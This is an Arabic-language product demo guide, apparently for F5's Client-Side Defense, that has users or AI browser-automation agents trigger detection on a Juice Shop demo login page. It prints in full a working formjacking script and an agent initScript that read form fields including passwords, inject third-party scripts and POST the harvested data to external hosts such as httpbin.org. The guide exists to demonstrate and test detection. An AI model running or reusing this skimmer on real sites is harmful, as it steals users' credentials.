تخطَّ إلى المحتوى

كشف محاولات الهجوم

تراقب CSD سلوك JavaScript داخل المتصفح. على عكس جدار حماية تطبيقات الويب (WAF) أو دفاع Bot، لا يمكن تشغيل كشف CSD باستخدام أوامر curl — إذ يتطلب ذلك نشاطاً فعلياً للنصوص البرمجية على جانب المتصفح. يُشغّل النص البرمجي المدمج التالي جميع إشارات الكشف الثلاث لـ CSD في تنفيذ واحد: حصاد حقول النماذج، وحقن نصوص برمجية من أطراف ثالثة من نطاقات CDN متعددة، وتسريب البيانات إلى نقاط النهاية الخارجية.

  1. انتقل إلى صفحة تسجيل الدخول في Juice Shop على https://botdemo.sales-demo.f5demos.com/#/login

  2. أدخل بيانات اعتماد وهمية في حقول النموذج — اكتب test@example.com في حقل البريد الإلكتروني وP@ssword123 في حقل كلمة المرور (لا تُرسل النموذج)

  3. افتح أدوات المطور (F12 → تبويب Console)

    Empty DevTools Console ready for script inputEmpty DevTools Console ready for script input
  4. الصق النص البرمجي التالي في وحدة التحكم واضغط Enter — يعمل تلقائياً كدالة ذاتية التنفيذ

    Combined Detection Script
    // CSD Demo — Combined Detection Script
    // Triggers ALL CSD detection signals: field reads, script injection, exfiltration
    (function() {
    console.log('='.repeat(50));
    console.log('[CSD Demo] Combined Detection Script — Starting');
    console.log('='.repeat(50));
    // Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)
    console.log('\n[Formjack] Phase 1: Form field harvesting');
    var inputs = document.querySelectorAll('input');
    var harvested = {};
    inputs.forEach(function(input) {
    var name = input.name || input.id || input.type;
    harvested[name] = input.value || '(empty)';
    });
    console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
    // Phase 2: Inject third-party scripts from 4 CDN domains
    console.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
    var cdns = [
    { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
    { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
    { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
    { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
    ];
    cdns.forEach(function(cdn) {
    var script = document.createElement('script');
    script.src = cdn.url;
    script.onload = function() {
    console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
    };
    script.onerror = function() {
    console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);
    };
    document.head.appendChild(script);
    console.log('[Supply Chain] Injected script tag: ' + cdn.name);
    });
    // Phase 3: Exfiltrate harvested data to external endpoints
    console.log('\n[Exfil] Phase 3: Data exfiltration');
    var payload = JSON.stringify({
    type: 'combined_demo',
    credentials: harvested,
    page: window.location.href,
    timestamp: Date.now()
    });
    fetch('https://www.httpbin.org/post', {
    method: 'POST',
    mode: 'no-cors',
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to www.httpbin.org');
    });
    fetch('https://jsonplaceholder.typicode.com/posts', {
    method: 'POST',
    mode: 'no-cors',
    headers: { 'Content-Type': 'application/json' },
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');
    });
    // Summary
    console.log('\n' + '='.repeat(50));
    console.log('[CSD Demo] Simulation complete');
    console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
    console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');
    console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');
    console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');
    console.log('='.repeat(50));
    })();
  5. لاحظ الإخراج المرحلي [CSD Demo] في وحدة التحكم الذي يؤكد كل خطوة: حصاد الحقول، وحقن النصوص البرمجية من 4 نطاقات CDN، وتسريب البيانات. تُقدّم esm.sh صياغة وحدات ES (export default …) — وعند تحميلها كوسم <script> كلاسيكي يتسبب ذلك في Uncaught SyntaxError: Cannot use import statement outside a module. هذا أمر متوقع ولا يؤثر على كشف CSD (لا يزال وسم النص البرمجي محقوناً وطلب الشبكة لا يزال يُرسَل)

    Console output after running the simulation scriptConsole output after running the simulation script

التنفيذ الآلي بالذكاء الاصطناعي

Section titled “التنفيذ الآلي بالذكاء الاصطناعي”

تُنفّذ مساعدات الذكاء الاصطناعي المزوّدة بأدوات أتمتة المتصفح (MCP Chrome DevTools، وPlaywright، وPuppeteer) المحاكاة برمجياً بدلاً من اتباع الخطوات اليدوية أعلاه:

  1. التنقل باستخدام initScript — انتقل أولاً إلى about:blank لضمان سياق مستند نظيف، ثم استخدم navigate_page للانتقال إلى عنوان URL لصفحة تسجيل الدخول (مثل http://$F5XC_DOMAINNAME/#/login) مع initScript يحفظ setInterval وclearInterval وfetch وconsole.log الأصلية قبل أن تُغيّرها zone.js، ويستطلع حقول نموذج تسجيل الدخول، ويملأ بيانات الاعتماد عبر مُعيّن HTMLInputElement.prototype.value الأصلي، وينفّذ فوراً نص الكشف المدمج بصورة مضمّنة. استخدم initScript الحرفي أدناه.
  2. إغلاق لافتة الترحيب — استخدم press_key مع Escape لإغلاق لافتة الترحيب. في الزيارات اللاحقة قد لا تظهر اللافتة (نظراً لاستمرار الكوكيز)
  3. الانتظار حتى الاكتمال — انتظر 10 ثوانٍ حتى تكتمل جميع ردود اتصال تحميل/خطأ نصوص CDN البرمجية وحلول وعود fetch
  4. التقاط الأدلة — استخدم list_console_messages للتحقق من [CSD Demo] Simulation complete؛ واستخدم list_network_requests مُصفَّىً حسب النوعين script وfetch للتحقق من رموز حالة HTTP

تسخير initScript (حرفي — يُغلّف نص الكشف المدمج للتنفيذ الآلي):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('input[type="email"]');
var passEl = document.querySelector('input[type="password"]');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

ملاحظة حول fetch الأصلية: يحفظ هذا التسخير window.fetch.bind(window) لتجنب أخطاء zone.js. هذا هو السلوك الصحيح لجميع مراحل محاكاة الهجوم. يحظر تخفيف CSD تحميل النصوص البرمجية (عن طريق مسح قيم src لوسم <script>)، لا استدعاءات fetch()، لذا فإن حفظ مرجع fetch الأصلي لا يؤثر على سلوك التخفيف. يُستخدَم نفس initScript للمرحلتين 2 و3.

يستخدم المشغّلون الذين لا يمتلكون أدوات أتمتة المتصفح الخطوات اليدوية أعلاه.

يُشغّل نص المحاكاة المدمج جميع إشارات الكشف الثلاث لـ CSD:

السلوكما يفعله النص البرمجيما تراه CSD
حصاد الحقوليقرأ القيم من عناصر input الموجودة (البريد الإلكتروني، وكلمة المرور)نصوص برمجية تقرأ حقول النماذج الحساسة — مُصنَّفة كخطر مرتفع
حقن النصوص البرمجيةيُضيف 4 وسوم <script> تحمّل من cdn.jsdelivr.net وesm.sh وunpkg.com وga.jspm.io4 نطاقات نصوص برمجية خارجية جديدة على الصفحة
تسريب البياناتيُرسل البيانات المحصودة عبر fetch إلى www.httpbin.org وjsonplaceholder.typicode.comاستدعاءات شبكة إلى نطاقات خارجية (ملاحظة: تظهر وجهات fetch كتفاعلات شبكة للنصوص البرمجية، لا في عرض نطاق الشبكة)

النص البرمجي المدمج أعلاه هو نسخة مبسّطة من 3 مراحل (الحصاد، والحقن، والتسريب) مناسبة لمعظم العروض التوضيحية. توفر مكتبة النصوص البرمجية للهجمات 10 نصوص برمجية مُستهدَفة منظّمة حسب نوع الهجوم، بما في ذلك اختبار إجهاد الكشف الأقصى الذي يُضيف التلاعب بـ DOM، وتسريب الكوكيز، وقنوات منارات الصور فوق تغطية النص البرمجي المدمج. استخدم النصوص البرمجية الفردية لإظهار فئات هجوم محددة (اختطاف النماذج، والتخطيط الرقمي، وحقن سلسلة التوريد، وتسريب البيانات، والتلاعب بـ DOM) بصورة منفردة.